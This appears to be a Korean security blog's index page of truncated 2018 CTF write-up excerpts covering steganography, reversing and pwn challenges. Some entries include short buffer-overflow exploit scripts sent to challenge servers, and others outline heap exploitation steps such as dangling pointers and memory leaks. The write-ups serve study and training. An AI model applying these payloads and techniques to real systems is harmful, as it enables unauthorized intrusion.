반응형

write up 15

[RITSEC 2018] Gimme sum fud write up

해당 바이너리를 보면 go 언어로 작성된 64-bit elf 파일임을 알 수 있다. go 언어는 main 함수가 컴파일 시 main_main으로 변하므로 그 부분을 보면 다음과 같다. go 언어라 좀 복잡하지만, 중점적으로 봐야 할 루틴은 다음 네 가지정도로 정리할 수 있겠다. main.main -> io/ioutil.ReadFile main.main -> main.main.func1 -> main._Cfunc_CBytes main.main -> main.Cfunc_myGets -> runtime.cgocall -> main._cgo_22ceff77f670_Cfunc_myGets -> read main.main -> main.Cfunc_myPrint -> runtime.cgocall -> main._cg..

Write-up 2018.11.22

[RITSEC 2018] write up

RITSEC CTF 2018 Burn the candle on both ends binwalk를 이용하여 zip 파일 추출 후, 파일을 풀기위한 패스워드 게싱이 필요함. 여기서 브포도 돌려보고 증말 오래걸렸는데, 출제자가 간단한 게싱이라고 그래서 아무 생각없이 공룡 옷 입은 강아지를 보고 입력해봤다. passwd : stegosaurus RITSEC{8U51N355-1N-7H3-Fr0N7-P4r7Y-1N-7H3-84CK} I am a Stegoraurous 걍 다운로드 받아서 크게 보면 보임 ezpwn $ (python -c "print 'A'*0x1c + '\x01\x00\x00\x00'";cat)| nc fun.ritsec.club 8001 Please enter your API key RITSEC{..

Write-up 2018.11.19

[InCTF 2018] Lost writeup

LOST race condition, heap overflow, *no free, *no view, format string bug Reversing alloc() 위 코드는 alloc 함수의 일부분이다. 먼저, sem_init() 함수를 이용하여 thread 간의 이동을 위한 세마포어 객체 sema를 1로 초기화한다.(2번째 인자는 현재 프로세스에서만 사용함=0을 나타낸다.)thread 함수는 run(2)를 리턴한다. 다음은 run함수와 sig함수를 나타낸다. 위 run함수를 보면 우선, 각 thread는 alarm을 통한 signal로 인하여 4초 간 동작한뒤 다른 thread로 넘어가는 형태를 취하고 있음을 알 수 있다. 해당 signal은 sig 함수를 부르는데, sig 함수는 위의 3 개의 함수..

Write-up 2018.11.06

[InCTF 2018] Magical Radio writeup

어떻게 해도 못 풀거 같아 겨우 올라온 롸업보고 쓰는 글입니다.. 출처 : https://github.com/fikih888/CTFs/tree/master/InCTF%202018%20-%20Mag1cal%20Radio%20-%20Stegano%20ChallMag1cal RadioA number station in Russia broadcasted a series of encoded messages to one of it's intelligence agency. We have been able to get a piece of that message along with a picture hidden by one of the spy. Decode the transmitted data and be a hero!..

Write-up 2018.10.20

[InCTF 2018] writeup

Biz44reKevin sent me a file with some hidden message. Help me recover this secret from this bizzare network. 우선, 파일이 존재한다고 했으므로 pcap file안에 특정 파일의 시그니처가 발견될 것을 예상하고 binwalk로 검사. 인증서 파일들만이 존재. 헥스 값으로 pcap file 안에 존재할 가능성이 있음. 아래와 같이 검사.m444ndu@ubuntu:~/handout/bizz$ strings bizz.pcap | xxd -r -p > a.txtm444ndu@ubuntu:~/handout/bizz$ binwalk a.txt DECIMAL HEXADECIMAL DESCRIPTION-------------------..

Write-up 2018.10.16

[CSAW 2018] writeup

매우매우 간단한 문제들쓰 systembigboy매우매우 간단한 bof 문제 /*exploit code*/from pwn import * r = remote('pwn.chal.csaw.io' ,9000)#r = process("./boi")context.log_level = 'debug' r.recvline()a = "A" * 0x14a += p64(0xcaf3baee)r.sendline(a)r.interactive() get it?여윽시 매우매우 간단한 bof /*exploit code*/from pwn import * #r = process("./get_it")r = remote("pwn.chal.csaw.io", 9001)context.log_level = 'debug' r.recvline() a =..

Write-up 2018.09.21

[SECURITYFEST 2018] zion writeup

00xml 파일을 던져줍니다. 그냥 열었을 때는 뭔가 파일이 손상이 되어서 복구를 하는데 여기에 뭔가 있는 것 같습니다. 일단 이 내용 자체에는 별게 없습니다. YouKnow의 바이너리를 한 번 살펴보겠습니다. (....)자세히 보면 바이너리의 뒷부분이 왠지 모르게 낯이 익다는 것을 알 수 있습니다. 대충 이 바이너리를 거꾸로 뒤집으면 비슷한 00xml 파일이 나올 것 같다는 예감이 드네요. 뒤집어 봅시다.1234import sys for line in open(sys.argv[1], 'r').readlines()[::-1]: print line[::-1].replace('\n', '')cs 나옵니당.

Write-up 2018.06.03

[SECURITYFEST 2018] everywhere writeup

그냥 사진파일 하나 던져줍니다..요건 잘 안보여서 색상을 함 반전시켜서 봐봅시당.. 자세히 보면 보이긴 보이네요. [후기]설마 저 글자들 중에 써있지ㄴㄴ 않겟지하며 rgb 색상별로 추출해서 본다던지 하는 행동들을 많이 했는데... 그리고 혹시 rgb로 코드를 나타낼 수 있는 piet programming이 아닐까해서 땅도 많이 팟는데... 스테가노그래피가 아닐까하고 거의 다 찾아본거 같은데.... 허탈잼그래도 찾아내서 다행인가.. 허허

Write-up 2018.06.03

[N1CTF 2018] vote write up

문제 분석1. Cancel 시 free 함수가 두 분기로 나뉘어 사용되는데, 한 조건에서는 free 후 포인터까지 0으로 초기화 시켜 주지만, 다른 한 조건에서는 free 후 포인터를 초기화 하지 않아, dangling pointer가 생긴다.2. Double free를 감지한다.3. Vote 기능으로 heap chunk의 fd에 위치하는 값을 1씩 올릴 수 있다.4. Vote 기능을 사용할 때마다 thread가 생성되는데, thread 생성 수의 제한이 있으므로 Vote를 사용할 수 있는 횟수의 제한이 있다. 시나리오Memory leakfree 된 chunk를 사용할 수 있으므로, free 된 chunk의 fd, bk를 참고하여 memory leak을 수행한다.unsorted bin이 main aren..

Write-up 2018.03.14

[Harekaze CTF 2018] Flea attack writeup v2

두 번째 방법heap에 flag가 저장되어 있음. printf(Name : %s\n)을 이용해서 flag를 출력. 문제 분석heap 영역에 flag를 저장하고 있는 chunk가 존재한다. 시나리오 맨 처음 heap 영역의 구조는 다음과 같다. 왜 인지는 잘 모르겠지만, FLAG가 heap에 저장되어 있다. 할당된 영역이므로 free가 가능하고 free 시에는 데이터가 초기화되지 않으므로, 위의 두 영역들을 free하고 다시 재할당 받으면 printf(Name : %s\n)을 통해서 FLAG를 읽을 수 있다. [ heap 영역]

Write-up 2018.02.27
반응형